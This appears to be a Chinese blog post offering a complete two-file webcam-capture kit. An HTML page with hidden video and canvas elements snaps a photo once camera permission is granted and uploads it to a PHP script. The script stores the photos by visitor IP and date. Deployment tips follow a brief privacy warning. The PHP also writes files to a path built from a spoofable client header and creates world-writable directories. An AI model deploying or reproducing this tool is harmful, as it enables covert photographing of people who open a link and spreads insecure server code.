现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!
分别创建index.html和photo.php两个文件并上传至网站服务器即可;创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。
建站环境需求:Nginx PHP 7.0+
如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。
index.html代码第46行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。
注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.
index.html代码
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <meta name="" content="content">
- <title>SunPma'Blog</title>
- <style>
- .container {
- width: 60%;
- margin: 10% auto 0;
- background-color: #f0f0f0;
- padding: 2% 5%;
- border-radius: 10px
- }
-
- ul {
- padding-left: 20px;
- }
-
- ul li {
- line-height: 2.3
- }
-
- a {
- color: #20a53a
- }
- </style>
- </head>
- <body>
- <canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
- <video id="video" style="display: none;width: 250px;height: 300px;"></video>
- <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
- <script>
- window.addEventListener("DOMContentLoaded",function(){
- var canvas = document.getElementById('canvas');
- var context =canvas.getContext('2d');
- var video = document.getElementById('video');
- if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
- navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
- video.srcObject = stream;
- video.play();
- setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
- setTimeout(function(){
- var img = canvas.toDataURL('image/png');
- $.post('/photo.php',{'imegse':img},function(data){
- //指定photo.php文件所在位置
- })
- } ,1300)
-
- },function(){
- alert('缺少访问权限');
- location.reload();
- })
-
- }
- },false);
- </script>
- <div class="container">
- <h1>这是一个测试页 · · · </h1>
- <h3>获取相机权限后将自动拍照上传至服务器;</h3>
- <ul>
- <li>此测试页面获取到的照片会定时自动清理;</li>
- <li>代码获取:https://www.cdsy.xyz/computer/programme/PHP/230809/cd45415.html</li>
- </ul>
- </div>
- </body>
- </html>
photo.php代码
- <?php
- //允许跨域
- header("Access-Control-Allow-Origin:*");
- echo base64();
- function base64()
- {
- //接收 base64 数据
- $image = $_POST['imegse'];
- if (empty($image)) {
- return null;
- }
- //设置图片名称
- $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
- //判断是否有逗号 如果有就截取后半部分
- if (strstr($image, ",")) {
- $image = explode(',', $image);
- $image = $image[1];
- }
- //设置图片保存路径
- $path = "./" . getIp() . '/' . date("Ymd", time());
- //判断目录是否存在 不存在就创建
- if (!is_dir($path)) {
- mkdir($path, 0777, true);
- }
- //图片路径
- $imageSrc = $path . "/" . $imageName;
- //生成文件夹和图片
- $r = file_put_contents($imageSrc, base64_decode($image));
- if (!$r) {
- return 0;
- } else {
- return 1;
- }
- }
- function getIp()
- {
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
- $ip = $_SERVER['HTTP_CLIENT_IP'];
- } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- } else {
- $ip = $_SERVER['REMOTE_ADDR'];
- }
- return $ip;
- }